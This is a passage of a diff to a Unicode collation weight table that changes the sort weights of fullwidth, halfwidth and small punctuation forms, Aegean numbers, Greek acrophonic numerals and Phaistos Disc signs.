[*020B.0020.0016] # PRESENTATION FORM FOR VERTICAL LOW LINE FE34 ; [*020B.0020.0016] # PRESENTATION FORM FOR VERTICAL WAVY LOW LINE -FE35 ; [*0317.0020.0016] # PRESENTATION FORM FOR VERTICAL LEFT PARENTHESIS -FE36 ; [*0318.0020.0016] # PRESENTATION FORM FOR VERTICAL RIGHT PARENTHESIS -FE37 ; [*031B.0020.0016] # PRESENTATION FORM FOR VERTICAL LEFT CURLY BRACKET -FE38 ; [*031C.0020.0016] # PRESENTATION FORM FOR VERTICAL RIGHT CURLY BRACKET -FE39 ; [*0379.0020.0016] # PRESENTATION FORM FOR VERTICAL LEFT TORTOISE SHELL BRACKET -FE3A ; [*037A.0020.0016] # PRESENTATION FORM FOR VERTICAL RIGHT TORTOISE SHELL BRACKET -FE3B ; [*0377.0020.0016] # PRESENTATION FORM FOR VERTICAL LEFT BLACK LENTICULAR BRACKET -FE3C ; [*0378.0020.0016] # PRESENTATION FORM FOR VERTICAL RIGHT BLACK LENTICULAR BRACKET -FE3D ; [*0371.0020.0016] # PRESENTATION FORM FOR VERTICAL LEFT DOUBLE ANGLE BRACKET -FE3E ; [*0372.0020.0016] # PRESENTATION FORM FOR VERTICAL RIGHT DOUBLE ANGLE BRACKET -FE3F ; [*036F.0020.0016] # PRESENTATION FORM FOR VERTICAL LEFT ANGLE BRACKET -FE40 ; [*0370.0020.0016] # PRESENTATION FORM FOR VERTICAL RIGHT ANGLE BRACKET -FE41 ; [*0373.0020.0016] # PRESENTATION FORM FOR VERTICAL LEFT CORNER BRACKET -FE42 ; [*0374.0020.0016] # PRESENTATION FORM FOR VERTICAL RIGHT CORNER BRACKET -FE43 ; [*0375.0020.0016] # PRESENTATION FORM FOR VERTICAL LEFT WHITE CORNER BRACKET -FE44 ; [*0376.0020.0016] # PRESENTATION FORM FOR VERTICAL RIGHT WHITE CORNER BRACKET -FE45 ; [*0232.0020.0002] # SESAME DOT -FE46 ; [*0233.0020.0002] # WHITE SESAME DOT -FE47 ; [*0319.0020.0016] # PRESENTATION FORM FOR VERTICAL LEFT SQUARE BRACKET -FE48 ; [*031A.0020.0016] # PRESENTATION FORM FOR VERTICAL RIGHT SQUARE BRACKET +FE35 ; [*0310.0020.0016] # PRESENTATION FORM FOR VERTICAL LEFT PARENTHESIS +FE36 ; [*0311.0020.0016] # PRESENTATION FORM FOR VERTICAL RIGHT PARENTHESIS +FE37 ; [*0314.0020.0016] # PRESENTATION FORM FOR VERTICAL LEFT CURLY BRACKET +FE38 ; [*0315.0020.0016] # PRESENTATION FORM FOR VERTICAL RIGHT CURLY BRACKET +FE39 ; [*0372.0020.0016] # PRESENTATION FORM FOR VERTICAL LEFT TORTOISE SHELL BRACKET +FE3A ; [*0373.0020.0016] # PRESENTATION FORM FOR VERTICAL RIGHT TORTOISE SHELL BRACKET +FE3B ; [*0370.0020.0016] # PRESENTATION FORM FOR VERTICAL LEFT BLACK LENTICULAR BRACKET +FE3C ; [*0371.0020.0016] # PRESENTATION FORM FOR VERTICAL RIGHT BLACK LENTICULAR BRACKET +FE3D ; [*036A.0020.0016] # PRESENTATION FORM FOR VERTICAL LEFT DOUBLE ANGLE BRACKET +FE3E ; [*036B.0020.0016] # PRESENTATION FORM FOR VERTICAL RIGHT DOUBLE ANGLE BRACKET +FE3F ; [*0368.0020.0016] # PRESENTATION FORM FOR VERTICAL LEFT ANGLE BRACKET +FE40 ; [*0369.0020.0016] # PRESENTATION FORM FOR VERTICAL RIGHT ANGLE BRACKET +FE41 ; [*036C.0020.0016] # PRESENTATION FORM FOR VERTICAL LEFT CORNER BRACKET +FE42 ; [*036D.0020.0016] # PRESENTATION FORM FOR VERTICAL RIGHT CORNER BRACKET +FE43 ; [*036E.0020.0016] # PRESENTATION FORM FOR VERTICAL LEFT WHITE CORNER BRACKET +FE44 ; [*036F.0020.0016] # PRESENTATION FORM FOR VERTICAL RIGHT WHITE CORNER BRACKET +FE45 ; [*0231.0020.0002] # SESAME DOT +FE46 ; [*0232.0020.0002] # WHITE SESAME DOT +FE47 ; [*0312.0020.0016] # PRESENTATION FORM FOR VERTICAL LEFT SQUARE BRACKET +FE48 ; [*0313.0020.0016] # PRESENTATION FORM FOR VERTICAL RIGHT SQUARE BRACKET FE49 ; [*020A.0020.0004] # DASHED OVERLINE FE4A ; [*020A.0020.0004] # CENTRELINE OVERLINE FE4B ; [*020A.0020.0004] # WAVY OVERLINE @@ -4122,489 +4089,487 @@ FE4C ; [*020A.0020.0004] # DOUBLE WAVY OVERLINE FE4D ; [*020B.0020.0004] # DASHED LOW LINE FE4E ; [*020B.0020.0004] # CENTRELINE LOW LINE FE4F ; [*020B.0020.0004] # WAVY LOW LINE -FE50 ; [*0222.0020.000F] # SMALL COMMA -FE51 ; [*0231.0020.000F] # SMALL IDEOGRAPHIC COMMA -FE52 ; [*0277.0020.000F] # SMALL FULL STOP -FE54 ; [*0234.0020.000F] # SMALL SEMICOLON -FE55 ; [*0239.0020.000F] # SMALL COLON -FE56 ; [*0266.0020.000F] # SMALL QUESTION MARK -FE57 ; [*0260.0020.000F] # SMALL EXCLAMATION MARK +FE50 ; [*0221.0020.000F] # SMALL COMMA +FE51 ; [*0230.0020.000F] # SMALL IDEOGRAPHIC COMMA +FE52 ; [*0274.0020.000F] # SMALL FULL STOP +FE54 ; [*0233.0020.000F] # SMALL SEMICOLON +FE55 ; [*0238.0020.000F] # SMALL COLON +FE56 ; [*0264.0020.000F] # SMALL QUESTION MARK +FE57 ; [*025F.0020.000F] # SMALL EXCLAMATION MARK FE58 ; [*0216.0020.000F] # SMALL EM DASH -FE59 ; [*0317.0020.000F] # SMALL LEFT PARENTHESIS -FE5A ; [*0318.0020.000F] # SMALL RIGHT PARENTHESIS -FE5B ; [*031B.0020.000F] # SMALL LEFT CURLY BRACKET -FE5C ; [*031C.0020.000F] # SMALL RIGHT CURLY BRACKET -FE5D ; [*0379.0020.000F] # SMALL LEFT TORTOISE SHELL BRACKET -FE5E ; [*037A.0020.000F] # SMALL RIGHT TORTOISE SHELL BRACKET -FE5F ; [*0398.0020.000F] # SMALL NUMBER SIGN -FE60 ; [*0396.0020.000F] # SMALL AMPERSAND -FE61 ; [*038F.0020.000F] # SMALL ASTERISK -FE62 ; [*0616.0020.000F] # SMALL PLUS SIGN +FE59 ; [*0310.0020.000F] # SMALL LEFT PARENTHESIS +FE5A ; [*0311.0020.000F] # SMALL RIGHT PARENTHESIS +FE5B ; [*0314.0020.000F] # SMALL LEFT CURLY BRACKET +FE5C ; [*0315.0020.000F] # SMALL RIGHT CURLY BRACKET +FE5D ; [*0372.0020.000F] # SMALL LEFT TORTOISE SHELL BRACKET +FE5E ; [*0373.0020.000F] # SMALL RIGHT TORTOISE SHELL BRACKET +FE5F ; [*0391.0020.000F] # SMALL NUMBER SIGN +FE60 ; [*038F.0020.000F] # SMALL AMPERSAND +FE61 ; [*0388.0020.000F] # SMALL ASTERISK +FE62 ; [*05F6.0020.000F] # SMALL PLUS SIGN FE63 ; [*020D.0020.000F] # SMALL HYPHEN-MINUS -FE64 ; [*061A.0020.000F] # SMALL LESS-THAN SIGN -FE65 ; [*061C.0020.000F] # SMALL GREATER-THAN SIGN -FE66 ; [*061B.0020.000F] # SMALL EQUALS SIGN -FE68 ; [*0395.0020.000F] # SMALL REVERSE SOLIDUS -FE6A ; [*0399.0020.000F] # SMALL PERCENT SIGN -FE6B ; [*038E.0020.000F] # SMALL COMMERCIAL AT +FE64 ; [*05FA.0020.000F] # SMALL LESS-THAN SIGN +FE65 ; [*05FC.0020.000F] # SMALL GREATER-THAN SIGN +FE66 ; [*05FB.0020.000F] # SMALL EQUALS SIGN +FE68 ; [*038E.0020.000F] # SMALL REVERSE SOLIDUS +FE6A ; [*0392.0020.000F] # SMALL PERCENT SIGN +FE6B ; [*0387.0020.000F] # SMALL COMMERCIAL AT FE73 ; [.0000.0000.0000] # ARABIC TAIL FRAGMENT -FF01 ; [*0260.0020.0003] # FULLWIDTH EXCLAMATION MARK -FF02 ; [*030C.0020.0003] # FULLWIDTH QUOTATION MARK -FF03 ; [*0398.0020.0003] # FULLWIDTH NUMBER SIGN -FF05 ; [*0399.0020.0003] # FULLWIDTH PERCENT SIGN -FF06 ; [*0396.0020.0003] # FULLWIDTH AMPERSAND -FF07 ; [*0305.0020.0003] # FULLWIDTH APOSTROPHE -FF08 ; [*0317.0020.0003] # FULLWIDTH LEFT PARENTHESIS -FF09 ; [*0318.0020.0003] # FULLWIDTH RIGHT PARENTHESIS -FF0A ; [*038F.0020.0003] # FULLWIDTH ASTERISK -FF0B ; [*0616.0020.0003] # FULLWIDTH PLUS SIGN -FF0C ; [*0222.0020.0003] # FULLWIDTH COMMA +FF01 ; [*025F.0020.0003] # FULLWIDTH EXCLAMATION MARK +FF02 ; [*0305.0020.0003] # FULLWIDTH QUOTATION MARK +FF03 ; [*0391.0020.0003] # FULLWIDTH NUMBER SIGN +FF05 ; [*0392.0020.0003] # FULLWIDTH PERCENT SIGN +FF06 ; [*038F.0020.0003] # FULLWIDTH AMPERSAND +FF07 ; [*02FE.0020.0003] # FULLWIDTH APOSTROPHE +FF08 ; [*0310.0020.0003] # FULLWIDTH LEFT PARENTHESIS +FF09 ; [*0311.0020.0003] # FULLWIDTH RIGHT PARENTHESIS +FF0A ; [*0388.0020.0003] # FULLWIDTH ASTERISK +FF0B ; [*05F6.0020.0003] # FULLWIDTH PLUS SIGN +FF0C ; [*0221.0020.0003] # FULLWIDTH COMMA FF0D ; [*020D.0020.0003] # FULLWIDTH HYPHEN-MINUS -FF0E ; [*0277.0020.0003] # FULLWIDTH FULL STOP -FF0F ; [*0394.0020.0003] # FULLWIDTH SOLIDUS -FF1A ; [*0239.0020.0003] # FULLWIDTH COLON -FF1B ; [*0234.0020.0003] # FULLWIDTH SEMICOLON -FF1C ; [*061A.0020.0003] # FULLWIDTH LESS-THAN SIGN -FF1D ; [*061B.0020.0003] # FULLWIDTH EQUALS SIGN -FF1E ; [*061C.0020.0003] # FULLWIDTH GREATER-THAN SIGN -FF1F ; [*0266.0020.0003] # FULLWIDTH QUESTION MARK -FF20 ; [*038E.0020.0003] # FULLWIDTH COMMERCIAL AT -FF3B ; [*0319.0020.0003] # FULLWIDTH LEFT SQUARE BRACKET -FF3C ; [*0395.0020.0003] # FULLWIDTH REVERSE SOLIDUS -FF3D ; [*031A.0020.0003] # FULLWIDTH RIGHT SQUARE BRACKET -FF3E ; [*0485.0020.0003] # FULLWIDTH CIRCUMFLEX ACCENT +FF0E ; [*0274.0020.0003] # FULLWIDTH FULL STOP +FF0F ; [*038D.0020.0003] # FULLWIDTH SOLIDUS +FF1A ; [*0238.0020.0003] # FULLWIDTH COLON +FF1B ; [*0233.0020.0003] # FULLWIDTH SEMICOLON +FF1C ; [*05FA.0020.0003] # FULLWIDTH LESS-THAN SIGN +FF1D ; [*05FB.0020.0003] # FULLWIDTH EQUALS SIGN +FF1E ; [*05FC.0020.0003] # FULLWIDTH GREATER-THAN SIGN +FF1F ; [*0264.0020.0003] # FULLWIDTH QUESTION MARK +FF20 ; [*0387.0020.0003] # FULLWIDTH COMMERCIAL AT +FF3B ; [*0312.0020.0003] # FULLWIDTH LEFT SQUARE BRACKET +FF3C ; [*038E.0020.0003] # FULLWIDTH REVERSE SOLIDUS +FF3D ; [*0313.0020.0003] # FULLWIDTH RIGHT SQUARE BRACKET +FF3E ; [*0466.0020.0003] # FULLWIDTH CIRCUMFLEX ACCENT FF3F ; [*020B.0020.0003] # FULLWIDTH LOW LINE -FF40 ; [*0482.0020.0003] # FULLWIDTH GRAVE ACCENT -FF5B ; [*031B.0020.0003] # FULLWIDTH LEFT CURLY BRACKET -FF5C ; [*061E.0020.0003] # FULLWIDTH VERTICAL LINE -FF5D ; [*031C.0020.0003] # FULLWIDTH RIGHT CURLY BRACKET -FF5E ; [*0620.0020.0003] # FULLWIDTH TILDE -FF5F ; [*032D.0020.0003] # FULLWIDTH LEFT WHITE PARENTHESIS -FF60 ; [*032E.0020.0003] # FULLWIDTH RIGHT WHITE PARENTHESIS -FF61 ; [*028A.0020.0012] # HALFWIDTH IDEOGRAPHIC FULL STOP -FF62 ; [*0373.0020.0012] # HALFWIDTH LEFT CORNER BRACKET -FF63 ; [*0374.0020.0012] # HALFWIDTH RIGHT CORNER BRACKET -FF64 ; [*0231.0020.0012] # HALFWIDTH IDEOGRAPHIC COMMA -FF65 ; [*0221.0020.0012] # HALFWIDTH KATAKANA MIDDLE DOT -FFE2 ; [*061D.0020.0003] # FULLWIDTH NOT SIGN -FFE3 ; [*0486.0020.0003] # FULLWIDTH MACRON -FFE4 ; [*061F.0020.0003] # FULLWIDTH BROKEN BAR -FFE8 ; [*081A.0020.0012] # HALFWIDTH FORMS LIGHT VERTICAL -FFE9 ; [*059C.0020.0012] # HALFWIDTH LEFTWARDS ARROW -FFEA ; [*059E.0020.0012] # HALFWIDTH UPWARDS ARROW -FFEB ; [*059D.0020.0012] # HALFWIDTH RIGHTWARDS ARROW -FFEC ; [*059F.0020.0012] # HALFWIDTH DOWNWARDS ARROW -FFED ; [*08B8.0020.0012] # HALFWIDTH BLACK SQUARE -FFEE ; [*08E3.0020.0012] # HALFWIDTH WHITE CIRCLE -FFFC ; [*1A95.0020.0002] # OBJECT REPLACEMENT CHARACTER -10100 ; [*02FA.0020.0002] # AEGEAN WORD SEPARATOR LINE -10101 ; [*02FB.0020.0002] # AEGEAN WORD SEPARATOR DOT -10102 ; [*02FC.0020.0002] # AEGEAN CHECK MARK -10110 ; [*1AE9.0020.0002] # AEGEAN NUMBER TEN -10111 ; [*1AEA.0020.0002] # AEGEAN NUMBER TWENTY -10112 ; [*1AEB.0020.0002] # AEGEAN NUMBER THIRTY -10113 ; [*1AEC.0020.0002] # AEGEAN NUMBER FORTY -10114 ; [*1AED.0020.0002] # AEGEAN NUMBER FIFTY -10115 ; [*1AEE.0020.0002] # AEGEAN NUMBER SIXTY -10116 ; [*1AEF.0020.0002] # AEGEAN NUMBER SEVENTY -10117 ; [*1AF0.0020.0002] # AEGEAN NUMBER EIGHTY -10118 ; [*1AF1.0020.0002] # AEGEAN NUMBER NINETY -10119 ; [*1AF2.0020.0002] # AEGEAN NUMBER ONE HUNDRED -1011A ; [*1AF3.0020.0002] # AEGEAN NUMBER TWO HUNDRED -1011B ; [*1AF4.0020.0002] # AEGEAN NUMBER THREE HUNDRED -1011C ; [*1AF5.0020.0002] # AEGEAN NUMBER FOUR HUNDRED -1011D ; [*1AF6.0020.0002] # AEGEAN NUMBER FIVE HUNDRED -1011E ; [*1AF7.0020.0002] # AEGEAN NUMBER SIX HUNDRED -1011F ; [*1AF8.0020.0002] # AEGEAN NUMBER SEVEN HUNDRED -10120 ; [*1AF9.0020.0002] # AEGEAN NUMBER EIGHT HUNDRED -10121 ; [*1AFA.0020.0002] # AEGEAN NUMBER NINE HUNDRED -10122 ; [*1AFB.0020.0002] # AEGEAN NUMBER ONE THOUSAND -10123 ; [*1AFC.0020.0002] # AEGEAN NUMBER TWO THOUSAND -10124 ; [*1AFD.0020.0002] # AEGEAN NUMBER THREE THOUSAND -10125 ; [*1AFE.0020.0002] # AEGEAN NUMBER FOUR THOUSAND -10126 ; [*1AFF.0020.0002] # AEGEAN NUMBER FIVE THOUSAND -10127 ; [*1B00.0020.0002] # AEGEAN NUMBER SIX THOUSAND -10128 ; [*1B01.0020.0002] # AEGEAN NUMBER SEVEN THOUSAND -10129 ; [*1B02.0020.0002] # AEGEAN NUMBER EIGHT THOUSAND -1012A ; [*1B03.0020.0002] # AEGEAN NUMBER NINE THOUSAND -1012B ; [*1B04.0020.0002] # AEGEAN NUMBER TEN THOUSAND -1012C ; [*1B05.0020.0002] # AEGEAN NUMBER TWENTY THOUSAND -1012D ; [*1B06.0020.0002] # AEGEAN NUMBER THIRTY THOUSAND -1012E ; [*1B07.0020.0002] # AEGEAN NUMBER FORTY THOUSAND -1012F ; [*1B08.0020.0002] # AEGEAN NUMBER FIFTY THOUSAND -10130 ; [*1B09.0020.0002] # AEGEAN NUMBER SIXTY THOUSAND -10131 ; [*1B0A.0020.0002] # AEGEAN NUMBER SEVENTY THOUSAND -10132 ; [*1B0B.0020.0002] # AEGEAN NUMBER EIGHTY THOUSAND -10133 ; [*1B0C.0020.0002] # AEGEAN NUMBER NINETY THOUSAND -10137 ; [*0F78.0020.0002] # AEGEAN WEIGHT BASE UNIT -10138 ; [*0F79.0020.0002] # AEGEAN WEIGHT FIRST SUBUNIT -10139 ; [*0F7A.0020.0002] # AEGEAN WEIGHT SECOND SUBUNIT -1013A ; [*0F7B.0020.0002] # AEGEAN WEIGHT THIRD SUBUNIT -1013B ; [*0F7C.0020.0002] # AEGEAN WEIGHT FOURTH SUBUNIT -1013C ; [*0F7D.0020.0002] # AEGEAN DRY MEASURE FIRST SUBUNIT -1013D ; [*0F7E.0020.0002] # AEGEAN LIQUID MEASURE FIRST SUBUNIT -1013E ; [*0F7F.0020.0002] # AEGEAN MEASURE SECOND SUBUNIT -1013F ; [*0F80.0020.0002] # AEGEAN MEASURE THIRD SUBUNIT -10140 ; [*1B0D.0020.0002] # GREEK ACROPHONIC ATTIC ONE QUARTER -10141 ; [*1B0E.0020.0002] # GREEK ACROPHONIC ATTIC ONE HALF -10144 ; [*1B0F.0020.0002] # GREEK ACROPHONIC ATTIC FIFTY -10145 ; [*1B10.0020.0002] # GREEK ACROPHONIC ATTIC FIVE HUNDRED -10146 ; [*1B11.0020.0002] # GREEK ACROPHONIC ATTIC FIVE THOUSAND -10147 ; [*1B12.0020.0002] # GREEK ACROPHONIC ATTIC FIFTY THOUSAND -10149 ; [*1B13.0020.0002] # GREEK ACROPHONIC ATTIC TEN TALENTS -1014A ; [*1B14.0020.0002] # GREEK ACROPHONIC ATTIC FIFTY TALENTS -1014B ; [*1B15.0020.0002] # GREEK ACROPHONIC ATTIC ONE HUNDRED TALENTS -1014C ; [*1B16.0020.0002] # GREEK ACROPHONIC ATTIC FIVE HUNDRED TALENTS -1014D ; [*1B17.0020.0002] # GREEK ACROPHONIC ATTIC ONE THOUSAND TALENTS -1014E ; [*1B18.0020.0002] # GREEK ACROPHONIC ATTIC FIVE THOUSAND TALENTS -10150 ; [*1B19.0020.0002] # GREEK ACROPHONIC ATTIC TEN STATERS -10151 ; [*1B1A.0020.0002] # GREEK ACROPHONIC ATTIC FIFTY STATERS -10152 ; [*1B1B.0020.0002] # GREEK ACROPHONIC ATTIC ONE HUNDRED STATERS -10153 ; [*1B1C.0020.0002] # GREEK ACROPHONIC ATTIC FIVE HUNDRED STATERS -10154 ; [*1B1D.0020.0002] # GREEK ACROPHONIC ATTIC ONE THOUSAND STATERS -10155 ; [*1B1E.0020.0002] # GREEK ACROPHONIC ATTIC TEN THOUSAND STATERS -10156 ; [*1B1F.0020.0002] # GREEK ACROPHONIC ATTIC FIFTY THOUSAND STATERS -10157 ; [*1B20.0020.0002] # GREEK ACROPHONIC ATTIC TEN MNAS -10160 ; [*1B21.0020.0002] # GREEK ACROPHONIC TROEZENIAN TEN -10161 ; [*1B22.0020.0002] # GREEK ACROPHONIC TROEZENIAN TEN ALTERNATE FORM -10162 ; [*1B23.0020.0002] # GREEK ACROPHONIC HERMIONIAN TEN -10163 ; [*1B24.0020.0002] # GREEK ACROPHONIC MESSENIAN TEN -10164 ; [*1B25.0020.0002] # GREEK ACROPHONIC THESPIAN TEN -10165 ; [*1B26.0020.0002] # GREEK ACROPHONIC THESPIAN THIRTY -10166 ; [*1B27.0020.0002] # GREEK ACROPHONIC TROEZENIAN FIFTY -10167 ; [*1B28.0020.0002] # GREEK ACROPHONIC TROEZENIAN FIFTY ALTERNATE FORM -10168 ; [*1B29.0020.0002] # GREEK ACROPHONIC HERMIONIAN FIFTY -10169 ; [*1B2A.0020.0002] # GREEK ACROPHONIC THESPIAN FIFTY -1016A ; [*1B2B.0020.0002] # GREEK ACROPHONIC THESPIAN ONE HUNDRED -1016B ; [*1B2C.0020.0002] # GREEK ACROPHONIC THESPIAN THREE HUNDRED -1016C ; [*1B2D.0020.0002] # GREEK ACROPHONIC EPIDAUREAN FIVE HUNDRED -1016D ; [*1B2E.0020.0002] # GREEK ACROPHONIC TROEZENIAN FIVE HUNDRED -1016E ; [*1B2F.0020.0002] # GREEK ACROPHONIC THESPIAN FIVE HUNDRED -1016F ; [*1B30.0020.0002] # GREEK ACROPHONIC CARYSTIAN FIVE HUNDRED -10170 ; [*1B31.0020.0002] # GREEK ACROPHONIC NAXIAN FIVE HUNDRED -10171 ; [*1B32.0020.0002] # GREEK ACROPHONIC THESPIAN ONE THOUSAND -10172 ; [*1B33.0020.0002] # GREEK ACROPHONIC THESPIAN FIVE THOUSAND -10174 ; [*1B34.0020.0002] # GREEK ACROPHONIC STRATIAN FIFTY MNAS -10175 ; [*1B35.0020.0002] # GREEK ONE HALF SIGN -10176 ; [*1B36.0020.0002] # GREEK ONE HALF SIGN ALTERNATE FORM -10177 ; [*1B37.0020.0002] # GREEK TWO THIRDS SIGN -10178 ; [*1B38.0020.0002] # GREEK THREE QUARTERS SIGN -10179 ; [*0F81.0020.0002] # GREEK YEAR SIGN -1017A ; [*0F82.0020.0002] # GREEK TALENT SIGN -1017B ; [*0F83.0020.0002] # GREEK DRACHMA SIGN -1017C ; [*0F84.0020.0002] # GREEK OBOL SIGN -1017D ; [*0F85.0020.0002] # GREEK TWO OBOLS SIGN -1017E ; [*0F86.0020.0002] # GREEK THREE OBOLS SIGN -1017F ; [*0F87.0020.0002] # GREEK FOUR OBOLS SIGN -10180 ; [*0F88.0020.0002] # GREEK FIVE OBOLS SIGN -10181 ; [*0F89.0020.0002] # GREEK METRETES SIGN -10182 ; [*0F8A.0020.0002] # GREEK KYATHOS BASE SIGN -10183 ; [*0F8B.0020.0002] # GREEK LITRA SIGN -10184 ; [*0F8C.0020.0002] # GREEK OUNKIA SIGN -10185 ; [*0F8D.0020.0002] # GREEK XESTES SIGN -10186 ; [*0F8E.0020.0002] # GREEK ARTABE SIGN -10187 ; [*0F8F.0020.0002] # GREEK AROURA SIGN -10188 ; [*0F90.0020.0002] # GREEK GRAMMA SIGN -10189 ; [*0F91.0020.0002] # GREEK TRYBLION BASE SIGN -1018B ; [*1B39.0020.0002] # GREEK ONE QUARTER SIGN -1018C ; [*0F92.0020.0002] # GREEK SINUSOID SIGN -1018D ; [*0F93.0020.0002] # GREEK INDICTION SIGN -1018E ; [*0F94.0020.0002] # NOMISMA SIGN -10190 ; [*0F95.0020.0002] # ROMAN SEXTANS SIGN -10191 ; [*0F96.0020.0002] # ROMAN UNCIA SIGN -10192 ; [*0F97.0020.0002] # ROMAN SEMUNCIA SIGN -10193 ; [*0F98.0020.0002] # ROMAN SEXTULA SIGN -10194 ; [*0F99.0020.0002] # ROMAN DIMIDIA SEXTULA SIGN -10195 ; [*0F9A.0020.0002] # ROMAN SILIQUA SIGN -10196 ; [*0F9B.0020.0002] # ROMAN DENARIUS SIGN -10197 ; [*0F9C.0020.0002] # ROMAN QUINARIUS SIGN -10198 ; [*0F9D.0020.0002] # ROMAN SESTERTIUS SIGN -10199 ; [*0F9E.0020.0002] # ROMAN DUPONDIUS SIGN -1019A ; [*0F9F.0020.0002] # ROMAN AS SIGN -1019B ; [*0FA0.0020.0002] # ROMAN CENTURIAL SIGN -101A0 ; [*0FA1.0020.0002] # GREEK SYMBOL TAU RHO -101D0 ; [*0FA2.0020.0002] # PHAISTOS DISC SIGN PEDESTRIAN -101D1 ; [*0FA3.0020.0002] # PHAISTOS DISC SIGN PLUMED HEAD -101D2 ; [*0FA4.0020.0002] # PHAISTOS DISC SIGN TATTOOED HEAD -101D3 ; [*0FA5.0020.0002] # PHAISTOS DISC SIGN CAPTIVE -101D4 ; [*0FA6.0020.0002] # PHAISTOS DISC SIGN CHILD -101D5 ; [*0FA7.0020.0002] # PHAISTOS DISC SIGN WOMAN -101D6 ; [*0FA8.0020.0002] # PHAISTOS DISC SIGN HELMET -101D7 ; [*0FA9.0020.0002] # PHAISTOS DISC SIGN GAUNTLET -101D8 ; [*0FAA.0020.0002] # PHAISTOS DISC SIGN TIARA -101D9 ; [*0FAB.0020.0002] # PHAISTOS DISC SIGN ARROW -101DA ; [*0FAC.0020.0002] # PHAISTOS DISC SIGN BOW -101DB ; [*0FAD.0020.0002] # PHAISTOS DISC SIGN SHIELD -101DC ; [*0FAE.0020.0002] # PHAISTOS DISC SIGN CLUB -101DD ; [*0FAF.0020.0002] # PHAISTOS DISC SIGN MANACLES -101DE ; [*0FB0.0020.0002] # PHAISTOS DISC SIGN MATTOCK -101DF ; [*0FB1.0020.0002] # PHAISTOS DISC SIGN SAW -101E0 ; [*0FB2.0020.0002] # PHAISTOS DISC SIGN LID -101E1 ; [*0FB3.0020.0002] # PHAISTOS DISC SIGN BOOMERANG -101E2 ; [*0FB4.0020.0002] # PHAISTOS DISC SIGN CARPENTRY PLANE -101E3 ; [*0FB5.0020.0002] # PHAISTOS DISC SIGN DOLIUM -101E4 ; [*0FB6.0020.0002] # PHAISTOS DISC SIGN COMB -101E5 ; [*0FB7.0020.0002] # PHAISTOS DISC SIGN SLING -101E6 ; [*0FB8.0020.0002] # PHAISTOS DISC SIGN COLUMN -101E7 ; [*0FB9.0020.0002] # PHAISTOS DISC SIGN BEEHIVE -101E8 ; [*0FBA.0020.0002] # PHAISTOS DISC SIGN SHIP -101E9 ; [*0FBB.0020.0002] # PHAISTOS DISC SIGN HORN -101EA ; [*0FBC.0020.0002] # PHAISTOS DISC SIGN HIDE -101EB ; [*0FBD.0020.0002] # PHAISTOS DISC SIGN BULLS LEG -101EC ; [*0FBE.0020.0002] # PHAISTOS DISC SIGN CAT -101ED ; [*0FBF.0020.0002] # PHAISTOS DISC SIGN RAM -101EE ; [*0FC0.0020.0002] # PHAISTOS DISC SIGN EAGLE -101EF ; [*0FC1.0020.0002] # PHAISTOS DISC SIGN DOVE -101F0 ; [*0FC2.0020.0002] # PHAISTOS DISC SIGN TUNNY -101F1 ; [*0FC3.0020.0002] # PHAISTOS DISC SIGN BEE -101F2 ; [*0FC4.0020.0002] # PHAISTOS DISC SIGN PLANE TREE -101F3 ; [*0FC5.0020.0002] # PHAISTOS DISC SIGN VINE -101F4 ; [*0FC6.0020.0002] # PHAISTOS DISC SIGN PAPYRUS -101F5 ; [*0FC7.0020.0002] # PHAISTOS DISC SIGN ROSETTE -101F6 ; [*0FC8.0020.0002] # PHAISTOS DISC SIGN LILY -101F7 ; [*0FC9.0020.0002] # PHAISTOS DISC SIGN OX BACK -101F8 ; [*0FCA.0020.0002] # PHAISTOS DISC SIGN FLUTE -101F9 ; [*0FCB.0020.0002] # PHAISTOS DISC SIGN GRATER -101FA ; [*0FCC.0020.0002] # PHAISTOS DISC SIGN STRAINER -101FB ; [*0FCD.0020.0002] # PHAISTOS DISC SIGN SMALL AXE -101FC ; [*0FCE.0020.0002] # PHAISTOS DISC SIGN WAVY BAND +FF40 ; [*0463.0020.0003] # FULLWIDTH GRAVE ACCENT +FF5B ; [*0314.0020.0003] # FULLWIDTH LEFT CURLY BRACKET +FF5C ; [*05FE.0020.0003] # FULLWIDTH VERTICAL LINE +FF5D ; [*0315.0020.0003] # FULLWIDTH RIGHT CURLY BRACKET +FF5E ; [*0600.0020.0003] # FULLWIDTH TILDE +FF5F ; [*0326.0020.0003] # FULLWIDTH LEFT WHITE PARENTHESIS +FF60 ; [*0327.0020.0003] # FULLWIDTH RIGHT WHITE PARENTHESIS +FF61 ; [*0287.0020.0012] # HALFWIDTH IDEOGRAPHIC FULL STOP +FF62 ; [*036C.0020.0012] # HALFWIDTH LEFT CORNER BRACKET +FF63 ; [*036D.0020.0012] # HALFWIDTH RIGHT CORNER BRACKET +FF64 ; [*0230.0020.0012] # HALFWIDTH IDEOGRAPHIC COMMA +FF65 ; [*0220.0020.0012] # HALFWIDTH KATAKANA MIDDLE DOT +FFE2 ; [*05FD.0020.0003] # FULLWIDTH NOT SIGN +FFE3 ; [*0467.0020.0003] # FULLWIDTH MACRON +FFE4 ; [*05FF.0020.0003] # FULLWIDTH BROKEN BAR +FFE8 ; [*07F6.0020.0012] # HALFWIDTH FORMS LIGHT VERTICAL +FFE9 ; [*057C.0020.0012] # HALFWIDTH LEFTWARDS ARROW +FFEA ; [*057E.0020.0012] # HALFWIDTH UPWARDS ARROW +FFEB ; [*057D.0020.0012] # HALFWIDTH RIGHTWARDS ARROW +FFEC ; [*057F.0020.0012] # HALFWIDTH DOWNWARDS ARROW +FFED ; [*0894.0020.0012] # HALFWIDTH BLACK SQUARE +FFEE ; [*08BF.0020.0012] # HALFWIDTH WHITE CIRCLE +FFFC ; [*1A25.0020.0002] # OBJECT REPLACEMENT CHARACTER +10100 ; [*02F3.0020.0002] # AEGEAN WORD SEPARATOR LINE +10101 ; [*02F4.0020.0002] # AEGEAN WORD SEPARATOR DOT +10102 ; [*02F5.0020.0002] # AEGEAN CHECK MARK +10110 ; [*1A6F.0020.0002] # AEGEAN NUMBER TEN +10111 ; [*1A70.0020.0002] # AEGEAN NUMBER TWENTY +10112 ; [*1A71.0020.0002] # AEGEAN NUMBER THIRTY +10113 ; [*1A72.0020.0002] # AEGEAN NUMBER FORTY +10114 ; [*1A73.0020.0002] # AEGEAN NUMBER FIFTY +10115 ; [*1A74.0020.0002] # AEGEAN NUMBER SIXTY +10116 ; [*1A75.0020.0002] # AEGEAN NUMBER SEVENTY +10117 ; [*1A76.0020.0002] # AEGEAN NUMBER EIGHTY +10118 ; [*1A77.0020.0002] # AEGEAN NUMBER NINETY +10119 ; [*1A78.0020.0002] # AEGEAN NUMBER ONE HUNDRED +1011A ; [*1A79.0020.0002] # AEGEAN NUMBER TWO 